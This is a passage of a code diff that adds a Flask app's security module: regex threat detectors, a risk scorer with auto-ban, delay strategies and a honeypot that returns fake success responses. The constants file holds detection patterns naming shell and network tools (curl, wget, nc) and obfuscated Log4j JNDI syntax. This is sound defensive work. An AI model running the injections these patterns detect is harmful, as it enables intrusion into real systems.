+                (user_id_int, reason_text, now_str, expires_at),
+            )
+            conn.commit()
+            return True
+

security/constants.py

@@ -0,0 +1,146 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import re
+
+# ==================== Threat Types ====================
+
+THREAT_TYPE_JNDI_INJECTION = "jndi_injection"
+THREAT_TYPE_NESTED_EXPRESSION = "nested_expression"
+THREAT_TYPE_SQL_INJECTION = "sql_injection"
+THREAT_TYPE_XSS = "xss"
+THREAT_TYPE_PATH_TRAVERSAL = "path_traversal"
+THREAT_TYPE_COMMAND_INJECTION = "command_injection"
+THREAT_TYPE_SSRF = "ssrf"
+THREAT_TYPE_XXE = "xxe"
+THREAT_TYPE_TEMPLATE_INJECTION = "template_injection"
+THREAT_TYPE_SENSITIVE_PATH_PROBE = "sensitive_path_probe"
+
+
+# ==================== Scores ====================
+
+SCORE_JNDI_DIRECT = 100
+SCORE_JNDI_OBFUSCATED = 100
+SCORE_NESTED_EXPRESSION = 80
+SCORE_SQL_INJECTION = 90
+SCORE_XSS = 70
+SCORE_PATH_TRAVERSAL = 60
+SCORE_COMMAND_INJECTION = 85
+SCORE_SSRF = 75
+SCORE_XXE = 85
+SCORE_TEMPLATE_INJECTION = 70
+SCORE_SENSITIVE_PATH_PROBE = 40
+
+
+# ==================== JNDI (Log4j) ====================
+#
+# - Direct: ${jndi:ldap://...} / ${jndi:rmi://...} => 100
+# - Obfuscated: ${${xxx:-j}${xxx:-n}...:ldap://...} => detect
+# - Nested expression: ${${...}} => 80
+
+JNDI_DIRECT_PATTERN = r"\$\{\s*jndi\s*:\s*(?:ldap|rmi)\s*://"
+
+# Common Log4j "default value" obfuscation variants:
+#   ${${::-j}${::-n}${::-d}${::-i}:ldap://...}
+#   ${${foo:-j}${bar:-n}${baz:-d}${qux:-i}:rmi://...}
+JNDI_OBFUSCATED_PATTERN = (
+    r"\$\{\s*"
+    r"(?:\$\{[^{}]{0,50}:-j\}|\$\{::-[jJ]\})\s*"
+    r"(?:\$\{[^{}]{0,50}:-n\}|\$\{::-[nN]\})\s*"
+    r"(?:\$\{[^{}]{0,50}:-d\}|\$\{::-[dD]\})\s*"
+    r"(?:\$\{[^{}]{0,50}:-i\}|\$\{::-[iI]\})\s*"
+    r":\s*(?:ldap|rmi)\s*://"
+)
+
+NESTED_EXPRESSION_PATTERN = r"\$\{\s*\$\{"
+
+
+# ==================== SQL Injection ====================
+
+SQLI_UNION_SELECT_PATTERN = r"\bunion\b\s+(?:all\s+)?\bselect\b"
+SQLI_OR_1_EQ_1_PATTERN = r"\bor\b\s+1\s*=\s*1\b"
+
+
+# ==================== XSS ====================
+
+XSS_SCRIPT_TAG_PATTERN = r"<\s*script\b"
+XSS_JS_PROTOCOL_PATTERN = r"javascript\s*:"
+XSS_INLINE_EVENT_HANDLER_PATTERN = r"\bon\w+\s*="
+
+
+# ==================== Path Traversal ====================
+
+PATH_TRAVERSAL_PATTERN = r"(?:\.\./|\.\.\\)+"
+
+
+# ==================== Command Injection ====================
+
+CMD_INJECTION_OPERATOR_WITH_CMD_PATTERN = (
+    r"(?:;|&&|\|\||\|)\s*"
+    r"(?:bash|sh|zsh|cmd|powershell|pwsh|curl|wget|nc|netcat|python|perl|ruby|php|node|cat|ls|id|whoami|uname|rm)\b"
+)
+CMD_INJECTION_SUBSHELL_PATTERN = r"(?:`[^`]{1,200}`|\$\([^)]{1,200}\))"
+
+
+# ==================== SSRF ====================
+
+SSRF_LOCALHOST_URL_PATTERN = r"\bhttps?\s*:\s*//\s*(?:127\.0\.0\.1\b|localhost\b|0\.0\.0\.0\b)"
+SSRF_INTERNAL_IP_URL_PATTERN = r"\bhttps?\s*:\s*//\s*(?:10\.|192\.168\.|172\.(?:1[6-9]|2[0-9]|3[0-1])\.)"
+SSRF_DANGEROUS_PROTOCOL_PATTERN = r"\b(?:file|gopher|dict)\s*:\s*//"
+
+
+# ==================== XXE ====================
+
+XXE_DOCTYPE_PATTERN = r"<!\s*doctype\b|\bdoctype\b"
+XXE_ENTITY_PATTERN = r"<!\s*entity\b|\bentity\b"
+XXE_SYSTEM_PUBLIC_PATTERN = r"\b(?:system|public)\b"
+
+
+# ==================== Template Injection ====================
+
+TEMPLATE_JINJA_EXPR_PATTERN = r"\{\{\s*[^}]{0,200}\s*\}\}"
+TEMPLATE_JINJA_STMT_PATTERN = r"\{%\s*[^%]{0,200}\s*%\}"
+TEMPLATE_VELOCITY_DIRECTIVE_PATTERN = r"#\s*(?:set|if)\b"
+
+
+# ==================== Sensitive Path Probing ====================
+
+SENSITIVE_PATH_DOTFILES_PATTERN = r"/\.(?:git|svn|env)(?:/|\b|$)"
+SENSITIVE_PATH_PROBE_PATTERN = r"/(?:actuator|phpinfo|wp-admin)(?:/|\b|$)"
+
+
+# ==================== Compiled Regex ====================
+
+_FLAGS = re.IGNORECASE | re.MULTILINE
+
+JNDI_DIRECT_RE = re.compile(JNDI_DIRECT_PATTERN, _FLAGS)
+JNDI_OBFUSCATED_RE = re.compile(JNDI_OBFUSCATED_PATTERN, _FLAGS)
+NESTED_EXPRESSION_RE = re.compile(NESTED_EXPRESSION_PATTERN, _FLAGS)
+
+SQLI_UNION_SELECT_RE = re.compile(SQLI_UNION_SELECT_PATTERN, _FLAGS)
+SQLI_OR_1_EQ_1_RE = re.compile(SQLI_OR_1_EQ_1_PATTERN, _FLAGS)
+
+XSS_SCRIPT_TAG_RE = re.compile(XSS_SCRIPT_TAG_PATTERN, _FLAGS)
+XSS_JS_PROTOCOL_RE = re.compile(XSS_JS_PROTOCOL_PATTERN, _FLAGS)
+XSS_INLINE_EVENT_HANDLER_RE = re.compile(XSS_INLINE_EVENT_HANDLER_PATTERN, _FLAGS)
+
+PATH_TRAVERSAL_RE = re.compile(PATH_TRAVERSAL_PATTERN, _FLAGS)
+
+CMD_INJECTION_OPERATOR_WITH_CMD_RE = re.compile(CMD_INJECTION_OPERATOR_WITH_CMD_PATTERN, _FLAGS)
+CMD_INJECTION_SUBSHELL_RE = re.compile(CMD_INJECTION_SUBSHELL_PATTERN, _FLAGS)
+
+SSRF_LOCALHOST_URL_RE = re.compile(SSRF_LOCALHOST_URL_PATTERN, _FLAGS)
+SSRF_INTERNAL_IP_URL_RE = re.compile(SSRF_INTERNAL_IP_URL_PATTERN, _FLAGS)
+SSRF_DANGEROUS_PROTOCOL_RE = re.compile(SSRF_DANGEROUS_PROTOCOL_PATTERN, _FLAGS)
+
+XXE_DOCTYPE_RE = re.compile(XXE_DOCTYPE_PATTERN, _FLAGS)
+XXE_ENTITY_RE = re.compile(XXE_ENTITY_PATTERN, _FLAGS)
+XXE_SYSTEM_PUBLIC_RE = re.compile(XXE_SYSTEM_PUBLIC_PATTERN, _FLAGS)
+
+TEMPLATE_JINJA_EXPR_RE = re.compile(TEMPLATE_JINJA_EXPR_PATTERN, _FLAGS)
+TEMPLATE_JINJA_STMT_RE = re.compile(TEMPLATE_JINJA_STMT_PATTERN, _FLAGS)
+TEMPLATE_VELOCITY_DIRECTIVE_RE = re.compile(TEMPLATE_VELOCITY_DIRECTIVE_PATTERN, _FLAGS)
+
+SENSITIVE_PATH_DOTFILES_RE = re.compile(SENSITIVE_PATH_DOTFILES_PATTERN, _FLAGS)
+SENSITIVE_PATH_PROBE_RE = re.compile(SENSITIVE_PATH_PROBE_PATTERN, _FLAGS)

security/honeypot.py

@@ -0,0 +1,126 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import random
+import uuid
+from typing import Any, Optional
+
+from app_logger import get_logger
+
+
+class HoneypotResponder:
+    """蜜罐响应生成器 - 返回假成功响应，欺骗攻击者"""
+
+    def __init__(self, *, rng: Optional[random.Random] = None) -> None:
+        self._rng = rng or random.SystemRandom()
+        self._logger = get_logger("app")
+
+    def generate_fake_response(self, endpoint: str, original_data: dict = None) -> dict:
+        """
+        根据端点生成假的成功响应
+
+        策略：
+        - 邮件发送类: {"success": True, "message": "邮件已发送"}
+        - 注册类: {"success": True, "user_id": fake_uuid}
+        - 登录类: {"success": True} 但不设置session
+        - 通用: {"success": True, "message": "操作成功"}
+        """
+        endpoint_text = str(endpoint or "").strip()
+        endpoint_lc = endpoint_text.lower()
+
+        category = self._classify_endpoint(endpoint_lc)
+        response: dict[str, Any] = {"success": True}
+
+        if category == "email":
+            response["message"] = "邮件已发送"
+        elif category == "register":
+            response["user_id"] = str(uuid.uuid4())
+        elif category == "login":
+            # 登录类：保持正常成功响应，但不进行任何 session / token 设置（调用方负责不写 session）
+            pass
+        else:
+            response["message"] = "操作成功"
+
+        response = self._merge_safe_fields(response, original_data)
+
+        self._logger.warning(
+            "蜜罐响应已生成: endpoint=%s, category=%s, keys=%s",
+            endpoint_text[:256],
+            category,
+            sorted(response.keys()),
+        )
+        return response
+
+    def should_use_honeypot(self, risk_score: int) -> bool:
+        """风险分>=80使用蜜罐响应"""
+        score = self._normalize_risk_score(risk_score)
+        use = score >= 80
+        self._logger.debug("蜜罐判定: risk_score=%s => %s", score, use)
+        return use
+
+    def delay_response(self, risk_score: int) -> float:
+        """
+        根据风险分计算延迟时间
+        0-20: 0秒
+        21-50: 随机0.5-1秒
+        51-80: 随机1-3秒
+        81-100: 随机3-8秒（蜜罐模式额外延迟消耗攻击者时间）
+        """
+        score = self._normalize_risk_score(risk_score)
+
+        delay = 0.0
+        if score <= 20:
+            delay = 0.0
+        elif score <= 50:
+            delay = float(self._rng.uniform(0.5, 1.0))
+        elif score <= 80:
+            delay = float(self._rng.uniform(1.0, 3.0))
+        else:
+            delay = float(self._rng.uniform(3.0, 8.0))
+
+        self._logger.debug("蜜罐延迟计算: risk_score=%s => delay_seconds=%.3f", score, delay)
+        return delay
+
+    # ==================== Internal ====================
+
+    def _normalize_risk_score(self, risk_score: Any) -> int:
+        try:
+            score = int(risk_score)
+        except Exception:
+            score = 0
+        return max(0, min(100, score))
+
+    def _classify_endpoint(self, endpoint_lc: str) -> str:
+        if not endpoint_lc:
+            return "generic"
+
+        # 先匹配更具体的：注册 / 登录
+        if any(k in endpoint_lc for k in ["/register", "register", "signup", "sign-up"]):
+            return "register"
+        if any(k in endpoint_lc for k in ["/login", "login", "signin", "sign-in"]):
+            return "login"
+
+        # 邮件相关：发送验证码 / 重置密码 / 重发验证等
+        if any(k in endpoint_lc for k in ["email", "mail", "forgot-password", "reset-password", "resend-verify"]):
+            return "email"
+
+        return "generic"
+
+    def _merge_safe_fields(self, base: dict, original_data: Optional[dict]) -> dict:
+        if not isinstance(original_data, dict) or not original_data:
+            return base
+
+        # 避免把攻击者输入或真实业务结果回显得太明显；仅合并少量“形状字段”
+        safe_bool_keys = {"need_verify", "need_captcha"}
+
+        merged = dict(base)
+        for key in safe_bool_keys:
+            if key in original_data and key not in merged:
+                try:
+                    merged[key] = bool(original_data.get(key))
+                except Exception:
+                    continue
+
+        return merged
+

security/middleware.py

@@ -0,0 +1,307 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import logging
+from typing import Optional
+
+from flask import g, jsonify, request
+from flask_login import current_user
+
+from app_logger import get_logger
+from app_security import get_rate_limit_ip
+
+from .blacklist import BlacklistManager
+from .honeypot import HoneypotResponder
+from .response_handler import ResponseAction, ResponseHandler, ResponseStrategy
+from .risk_scorer import RiskScorer
+from .threat_detector import ThreatDetector, ThreatResult
+
+# 全局实例（保持单例，避免重复初始化开销）
+detector = ThreatDetector()
+blacklist = BlacklistManager()
+scorer = RiskScorer(blacklist_manager=blacklist)
+handler: Optional[ResponseHandler] = None
+honeypot: Optional[HoneypotResponder] = None
+
+
+def _get_handler() -> ResponseHandler:
+    global handler
+    if handler is None:
+        handler = ResponseHandler()
+    return handler
+
+
+def _get_honeypot() -> HoneypotResponder:
+    global honeypot
+    if honeypot is None:
+        honeypot = HoneypotResponder()
+    return honeypot
+
+
+def _get_security_log_level(app) -> int:
+    level_name = str(getattr(app, "config", {}).get("SECURITY_LOG_LEVEL", "INFO") or "INFO").upper()
+    return int(getattr(logging, level_name, logging.INFO))
+
+
+def _log(app, level: int, message: str, *args, exc_info: bool = False) -> None:
+    """按 SECURITY_LOG_LEVEL 控制安全日志输出，避免过多日志影响性能。"""
+    try:
+        logger = get_logger("app")
+        min_level = _get_security_log_level(app)
+        if int(level) >= int(min_level):
+            logger.log(int(level), message, *args, exc_info=exc_info)
+    except Exception:
+        # 安全模块日志故障不得影响正常请求
+        return
+
+
+def _is_static_request(app) -> bool:
+    """对静态文件请求跳过安全检查以提升性能。"""
+    try:
+        path = str(getattr(request, "path", "") or "")
+    except Exception:
+        path = ""
+
+    if path.startswith("/static/"):
+        return True
+
+    try:
+        static_url_path = getattr(app, "static_url_path", None) or "/static"
+        if static_url_path and path.startswith(str(static_url_path).rstrip("/") + "/"):
+            return True
+    except Exception:
+        pass
+
+    try:
+        endpoint = getattr(request, "endpoint", None)
+        if endpoint in {"static", "serve_static"}:
+            return True
+    except Exception:
+        pass
+
+    return False
+
+
+def _safe_get_user_id() -> Optional[int]:
+    try:
+        if hasattr(current_user, "is_authenticated") and current_user.is_authenticated:
+            return getattr(current_user, "id", None)
+    except Exception:
+        return None
+    return None
+
+
+def _scan_request_threats(req) -> list[ThreatResult]:
+    """仅扫描 GET query 与 POST JSON body（降低开销与误报）。"""
+    threats: list[ThreatResult] = []
+
+    try:
+        # 1) Query 参数（所有方法均可能携带 query string）
+        try:
+            args = getattr(req, "args", None)
+            if args:
+                # MultiDict -> dict(list) 以保留多值
+                args_dict = args.to_dict(flat=False) if hasattr(args, "to_dict") else dict(args)
+                threats.extend(detector.scan_input(args_dict, "args"))
+        except Exception:
+            pass
+
+        # 2) JSON body（主要针对 POST；其他方法保持兼容）
+        try:
+            method = str(getattr(req, "method", "") or "").upper()
+        except Exception:
+            method = ""
+
+        if method in {"POST", "PUT", "PATCH", "DELETE"}:
+            try:
+                data = req.get_json(silent=True) if hasattr(req, "get_json") else None
+            except Exception:
+                data = None
+            if data is not None:
+                threats.extend(detector.scan_input(data, "json"))
+    except Exception:
+        # 扫描失败不应阻断业务
+        return []
+
+    threats.sort(key=lambda t: int(getattr(t, "score", 0) or 0), reverse=True)
+    return threats
+
+
+def init_security_middleware(app):
+    """初始化安全中间件到 Flask 应用。"""
+    try:
+        scorer.auto_ban_enabled = bool(app.config.get("AUTO_BAN_ENABLED", True))
+    except Exception:
+        pass
+
+    @app.before_request
+    def security_check():
+        if not bool(app.config.get("SECURITY_ENABLED", True)):
+            return None
+        if _is_static_request(app):
+            return None
+
+        try:
+            ip = get_rate_limit_ip()
+        except Exception:
+            ip = getattr(request, "remote_addr", "") or ""
+
+        user_id = _safe_get_user_id()
+
+        # 默认值，确保后续逻辑可用
+        g.risk_score = 0
+        g.response_strategy = ResponseStrategy(action=ResponseAction.ALLOW)
+        g.honeypot_mode = False
+        g.honeypot_endpoint = None
+        g.honeypot_generated = False
+
+        try:
+            # 1) 检查黑名单（静默拒绝，返回通用错误）
+            try:
+                if blacklist.is_ip_banned(ip):
+                    _log(app, logging.WARNING, "安全拦截: IP封禁命中 ip=%s path=%s", ip, request.path[:256])
+                    return jsonify({"error": "服务暂时繁忙，请稍后重试"}), 503
+            except Exception:
+                _log(app, logging.ERROR, "黑名单检查失败(ip) ip=%s", ip, exc_info=True)
+
+            try:
+                if user_id is not None and blacklist.is_user_banned(user_id):
+                    _log(app, logging.WARNING, "安全拦截: 用户封禁命中 user_id=%s path=%s", user_id, request.path[:256])
+                    return jsonify({"error": "服务暂时繁忙，请稍后重试"}), 503
+            except Exception:
+                _log(app, logging.ERROR, "黑名单检查失败(user) user_id=%s", user_id, exc_info=True)
+
+            # 2) 扫描威胁（GET query / POST JSON）
+            threats = _scan_request_threats(request)
+
+            if threats:
+                max_threat = threats[0]
+                _log(
+                    app,
+                    logging.WARNING,
+                    "威胁检测: ip=%s user_id=%s type=%s score=%s field=%s rule=%s",
+                    ip,
+                    user_id,
+                    getattr(max_threat, "threat_type", "unknown"),
+                    getattr(max_threat, "score", 0),
+                    getattr(max_threat, "field_name", ""),
+                    getattr(max_threat, "rule", ""),
+                )
+
+                # 记录威胁事件（异常不应阻断业务）
+                try:
+                    payload = getattr(max_threat, "value_preview", "") or getattr(max_threat, "matched", "") or ""
+                    scorer.record_threat(
+                        ip=ip,
+                        user_id=user_id,
+                        threat_type=getattr(max_threat, "threat_type", "unknown"),
+                        score=int(getattr(max_threat, "score", 0) or 0),
+                        request_path=getattr(request, "path", None),
+                        payload=str(payload)[:500] if payload else None,
+                    )
+                except Exception:
+                    _log(app, logging.ERROR, "威胁事件记录失败 ip=%s user_id=%s", ip, user_id, exc_info=True)
+
+                # 高危威胁启用蜜罐模式
+                if bool(app.config.get("HONEYPOT_ENABLED", True)):
+                    try:
+                        if int(getattr(max_threat, "score", 0) or 0) >= 80:
+                            g.honeypot_mode = True
+                            g.honeypot_endpoint = getattr(request, "endpoint", None)
+                    except Exception:
+                        pass
+
+            # 3) 综合风险分与响应策略
+            try:
+                risk_score = scorer.get_combined_score(ip, user_id)
+            except Exception:
+                _log(app, logging.ERROR, "风险分计算失败 ip=%s user_id=%s", ip, user_id, exc_info=True)
+                risk_score = 0
+
+            try:
+                strategy = _get_handler().get_strategy(risk_score)
+            except Exception:
+                _log(app, logging.ERROR, "响应策略计算失败 risk_score=%s", risk_score, exc_info=True)
+                strategy = ResponseStrategy(action=ResponseAction.ALLOW)
+
+            g.risk_score = int(risk_score or 0)
+            g.response_strategy = strategy
+
+            # 风险分触发蜜罐模式（兼容 ResponseHandler 的 HONEYPOT 策略）
+            if bool(app.config.get("HONEYPOT_ENABLED", True)):
+                try:
+                    if getattr(strategy, "action", None) == ResponseAction.HONEYPOT:
+                        g.honeypot_mode = True
+                except Exception:
+                    pass
+
+            # 4) 应用延迟
+            try:
+                if float(getattr(strategy, "delay_seconds", 0) or 0) > 0:
+                    _get_handler().apply_delay(strategy)
+            except Exception:
+                _log(app, logging.ERROR, "延迟应用失败", exc_info=True)
+
+            # 优先短路：避免业务 side effects（例如发送邮件/修改状态）
+            if getattr(g, "honeypot_mode", False) and bool(app.config.get("HONEYPOT_ENABLED", True)):
+                try:
+                    fake_payload = None
+                    try:
+                        fake_payload = request.get_json(silent=True)
+                    except Exception:
+                        fake_payload = None
+                    fake_response = _get_honeypot().generate_fake_response(
+                        getattr(g, "honeypot_endpoint", "default"),
+                        fake_payload if isinstance(fake_payload, dict) else None,
+                    )
+                    g.honeypot_generated = True
+                    return jsonify(fake_response), 200
+                except Exception:
+                    _log(app, logging.ERROR, "蜜罐响应生成失败", exc_info=True)
+                    return None
+        except Exception:
+            # 全局兜底：安全模块任何异常都不能阻断正常请求
+            _log(app, logging.ERROR, "安全中间件发生异常", exc_info=True)
+            return None
+
+        return None  # 继续正常处理
+
+    @app.after_request
+    def security_response(response):
+        """请求后处理 - 兜底应用蜜罐响应。"""
+        if not bool(app.config.get("SECURITY_ENABLED", True)):
+            return response
+        if not bool(app.config.get("HONEYPOT_ENABLED", True)):
+            return response
+
+        try:
+            if _is_static_request(app):
+                return response
+        except Exception:
+            pass
+
+        # 如果在 before_request 已经生成过蜜罐响应，则不再覆盖，避免丢失其他 after_request 的改动
+        try:
+            if getattr(g, "honeypot_generated", False):
+                return response
+        except Exception:
+            pass
+
+        try:
+            if getattr(g, "honeypot_mode", False):
+                fake_payload = None
+                try:
+                    fake_payload = request.get_json(silent=True)
+                except Exception:
+                    fake_payload = None
+                fake_response = _get_honeypot().generate_fake_response(
+                    getattr(g, "honeypot_endpoint", "default"),
+                    fake_payload if isinstance(fake_payload, dict) else None,
+                )
+                return jsonify(fake_response), 200
+        except Exception:
+            _log(app, logging.ERROR, "请求后蜜罐覆盖失败", exc_info=True)
+            return response
+
+        return response

security/response_handler.py

@@ -0,0 +1,131 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import random
+import time
+from dataclasses import dataclass
+from enum import Enum
+from typing import Any, Optional
+
+from app_logger import get_logger
+
+
+class ResponseAction(Enum):
+    ALLOW = "allow"  # 正常放行
+    ENHANCE_CAPTCHA = "enhance_captcha"  # 增强验证码
+    DELAY = "delay"  # 静默延迟
+    HONEYPOT = "honeypot"  # 蜜罐响应
+    BLOCK = "block"  # 直接拒绝
+
+
+@dataclass
+class ResponseStrategy:
+    action: ResponseAction
+    delay_seconds: float = 0
+    captcha_level: int = 1  # 1=普通4位, 2=6位, 3=滑块
+    message: str | None = None
+
+
+class ResponseHandler:
+    """响应策略处理器"""
+
+    def __init__(self, *, rng: Optional[random.Random] = None) -> None:
+        self._rng = rng or random.SystemRandom()
+        self._logger = get_logger("app")
+
+    def get_strategy(self, risk_score: int, is_banned: bool = False) -> ResponseStrategy:
+        """
+        根据风险分获取响应策略
+
+        0-20分: ALLOW, 无延迟, 普通验证码
+        21-40分: ALLOW, 无延迟, 6位验证码
+        41-60分: DELAY, 1-2秒延迟
+        61-80分: DELAY, 2-5秒延迟
+        81-100分: HONEYPOT, 3-8秒延迟
+        已封禁: BLOCK
+        """
+        score = self._normalize_risk_score(risk_score)
+
+        if is_banned:
+            strategy = ResponseStrategy(action=ResponseAction.BLOCK, message="访问被拒绝")
+            self._logger.warning("响应策略: BLOCK (banned=%s, risk_score=%s)", is_banned, score)
+            return strategy
+
+        if score <= 20:
+            strategy = ResponseStrategy(action=ResponseAction.ALLOW, delay_seconds=0, captcha_level=1)
+        elif score <= 40:
+            strategy = ResponseStrategy(action=ResponseAction.ALLOW, delay_seconds=0, captcha_level=2)
+        elif score <= 60:
+            strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=float(self._rng.uniform(1.0, 2.0)))
+        elif score <= 80:
+            strategy = ResponseStrategy(action=ResponseAction.DELAY, delay_seconds=float(self._rng.uniform(2.0, 5.0)))
+        else:
+            strategy = ResponseStrategy(action=ResponseAction.HONEYPOT, delay_seconds=float(self._rng.uniform(3.0, 8.0)))
+
+        strategy.captcha_level = self._normalize_captcha_level(strategy.captcha_level)
+
+        self._logger.info(
+            "响应策略: action=%s risk_score=%s delay=%.3f captcha_level=%s",
+            strategy.action.value,
+            score,
+            float(strategy.delay_seconds or 0),
+            int(strategy.captcha_level),
+        )
+        return strategy
+
+    def apply_delay(self, strategy: ResponseStrategy):
+        """应用延迟（使用time.sleep）"""
+        if strategy is None:
+            return
+        delay = 0.0
+        try:
+            delay = float(getattr(strategy, "delay_seconds", 0) or 0)
+        except Exception:
+            delay = 0.0
+
+        if delay <= 0:
+            return
+
+        self._logger.debug("应用延迟: action=%s delay=%.3f", getattr(strategy.action, "value", strategy.action), delay)
+        time.sleep(delay)
+
+    def get_captcha_requirement(self, strategy: ResponseStrategy) -> dict:
+        """返回验证码要求 {"required": True, "level": 2}"""
+        level = 1
+        try:
+            level = int(getattr(strategy, "captcha_level", 1) or 1)
+        except Exception:
+            level = 1
+        level = self._normalize_captcha_level(level)
+
+        required = True
+        try:
+            required = getattr(strategy, "action", None) != ResponseAction.BLOCK
+        except Exception:
+            required = True
+
+        payload = {"required": bool(required), "level": level}
+        self._logger.debug("验证码要求: %s", payload)
+        return payload
+
+    # ==================== Internal ====================
+
+    def _normalize_risk_score(self, risk_score: Any) -> int:
+        try:
+            score = int(risk_score)
+        except Exception:
+            score = 0
+        return max(0, min(100, score))
+
+    def _normalize_captcha_level(self, level: Any) -> int:
+        try:
+            i = int(level)
+        except Exception:
+            i = 1
+        if i <= 1:
+            return 1
+        if i == 2:
+            return 2
+        return 3
+

security/risk_scorer.py

@@ -0,0 +1,389 @@
+#!/usr/bin/env python3
+# -*- coding: utf-8 -*-
+from __future__ import annotations
+
+import math
+from dataclasses import dataclass
+from datetime import timedelta
+from typing import Optional
+
+import db_pool
+from db.utils import get_cst_now, get_cst_now_str, parse_cst_datetime
+
+from . import constants as C
+from .blacklist import BlacklistManager
+
+
+@dataclass(frozen=True)
+class _ScoreUpdateResult:
+    ip_score: int
+    user_score: int
+
+
+@dataclass(frozen=True)
+class _BanAction:
+    reason: str
+    duration_hours: Optional[int] = None
+    permanent: bool = False
+
+
+class RiskScorer:
+    """风险评分引擎 - 计算IP和用户的风险分数"""
+
+    def __init__(
+        self,
+        *,
+        auto_ban_enabled: bool = True,
+        auto_ban_duration_hours: int = 24,
+        high_risk_threshold: int = 80,
+        high_risk_window_hours: int = 1,
+        high_risk_permanent_ban_count: int = 3,
+        blacklist_manager: Optional[BlacklistManager] = None,
+    ) -> None:
+        self.auto_ban_enabled = bool(auto_ban_enabled)
+        self.auto_ban_duration_hours = max(1, int(auto_ban_duration_hours))
+        self.high_risk_threshold = max(0, int(high_risk_threshold))
+        self.high_risk_window_hours = max(1, int(high_risk_window_hours))
+        self.high_risk_permanent_ban_count = max(1, int(high_risk_permanent_ban_count))
+        self.blacklist = blacklist_manager or BlacklistManager()
+
+    def get_ip_score(self, ip_address: str) -> int:
+        """获取IP风险分(0-100)，从数据库读取"""
+        ip_text = str(ip_address or "").strip()[:64]
+        if not ip_text:
+            return 0
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute("SELECT risk_score FROM ip_risk_scores WHERE ip = ?", (ip_text,))
+            row = cursor.fetchone()
+            if not row:
+                return 0
+            try:
+                return max(0, min(100, int(row["risk_score"])))
+            except Exception:
+                return 0
+
+    def get_user_score(self, user_id: int) -> int:
+        """获取用户风险分(0-100)"""
+        if user_id is None:
+            return 0
+        user_id_int = int(user_id)
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            cursor.execute("SELECT risk_score FROM user_risk_scores WHERE user_id = ?", (user_id_int,))
+            row = cursor.fetchone()
+            if not row:
+                return 0
+            try:
+                return max(0, min(100, int(row["risk_score"])))
+            except Exception:
+                return 0
+
+    def get_combined_score(self, ip: str, user_id: int = None) -> int:
+        """综合风险分 = max(IP分, 用户分) + 行为加成"""
+        base = max(self.get_ip_score(ip), self.get_user_score(user_id) if user_id is not None else 0)
+        bonus = self._get_behavior_bonus(ip, user_id)
+        return max(0, min(100, int(base + bonus)))
+
+    def record_threat(
+        self,
+        ip: str,
+        user_id: int,
+        threat_type: str,
+        score: int,
+        request_path: str = None,
+        payload: str = None,
+    ):
+        """记录威胁事件到数据库，并更新IP/用户风险分"""
+        ip_text = str(ip or "").strip()[:64]
+        user_id_int = int(user_id) if user_id is not None else None
+        threat_type_text = str(threat_type or "").strip()[:64] or "unknown"
+        score_int = max(0, int(score))
+        path_text = str(request_path or "").strip()[:512] if request_path else None
+        payload_text = str(payload or "").strip() if payload else None
+        if payload_text and len(payload_text) > 2048:
+            payload_text = payload_text[:2048]
+
+        now_str = get_cst_now_str()
+
+        ip_ban_action: Optional[_BanAction] = None
+        user_ban_action: Optional[_BanAction] = None
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+
+            cursor.execute(
+                """
+                INSERT INTO threat_events (
+                    threat_type, score, ip, user_id, request_path, value_preview, created_at
+                ) VALUES (?, ?, ?, ?, ?, ?, ?)
+                """,
+                (
+                    threat_type_text,
+                    score_int,
+                    ip_text or None,
+                    user_id_int,
+                    path_text,
+                    payload_text,
+                    now_str,
+                ),
+            )
+
+            update = self._update_scores(cursor, ip_text, user_id_int, score_int, now_str)
+
+            if self.auto_ban_enabled:
+                ip_ban_action, user_ban_action = self._get_auto_ban_actions(
+                    cursor,
+                    ip_text,
+                    user_id_int,
+                    threat_type_text,
+                    score_int,
+                    update,
+                )
+
+            conn.commit()
+
+        if not self.auto_ban_enabled:
+            return
+
+        if ip_ban_action and ip_text:
+            self.blacklist.ban_ip(
+                ip_text,
+                reason=ip_ban_action.reason,
+                duration_hours=ip_ban_action.duration_hours or self.auto_ban_duration_hours,
+                permanent=ip_ban_action.permanent,
+            )
+        if user_ban_action and user_id_int is not None:
+            self.blacklist._ban_user_internal(
+                user_id_int,
+                reason=user_ban_action.reason,
+                duration_hours=user_ban_action.duration_hours or self.auto_ban_duration_hours,
+                permanent=user_ban_action.permanent,
+            )
+
+    def decay_scores(self):
+        """风险分衰减 - 定期调用，降低历史风险分"""
+        now = get_cst_now()
+        now_str = now.strftime("%Y-%m-%d %H:%M:%S")
+
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+
+            cursor.execute("SELECT ip, risk_score, updated_at, created_at FROM ip_risk_scores")
+            for row in cursor.fetchall():
+                ip = row["ip"]
+                current_score = int(row["risk_score"] or 0)
+                updated_at = row["updated_at"] or row["created_at"]
+                hours = self._hours_since(updated_at, now)
+                if hours <= 0:
+                    continue
+                new_score = self._apply_hourly_decay(current_score, hours)
+                if new_score == current_score:
+                    continue
+                cursor.execute(
+                    "UPDATE ip_risk_scores SET risk_score = ?, updated_at = ? WHERE ip = ?",
+                    (new_score, now_str, ip),
+                )
+
+            cursor.execute("SELECT user_id, risk_score, updated_at, created_at FROM user_risk_scores")
+            for row in cursor.fetchall():
+                user_id = int(row["user_id"])
+                current_score = int(row["risk_score"] or 0)
+                updated_at = row["updated_at"] or row["created_at"]
+                hours = self._hours_since(updated_at, now)
+                if hours <= 0:
+                    continue
+                new_score = self._apply_hourly_decay(current_score, hours)
+                if new_score == current_score:
+                    continue
+                cursor.execute(
+                    "UPDATE user_risk_scores SET risk_score = ?, updated_at = ? WHERE user_id = ?",
+                    (new_score, now_str, user_id),
+                )
+
+            conn.commit()
+
+    def _update_ip_score(self, ip: str, score_delta: int):
+        """更新IP风险分"""
+        ip_text = str(ip or "").strip()[:64]
+        if not ip_text:
+            return
+        delta = int(score_delta)
+        now_str = get_cst_now_str()
+        with db_pool.get_db() as conn:
+            cursor = conn.cursor()
+            self._update_scores(cursor, ip_text, None, delta, now_str)
+            conn.commit()
+
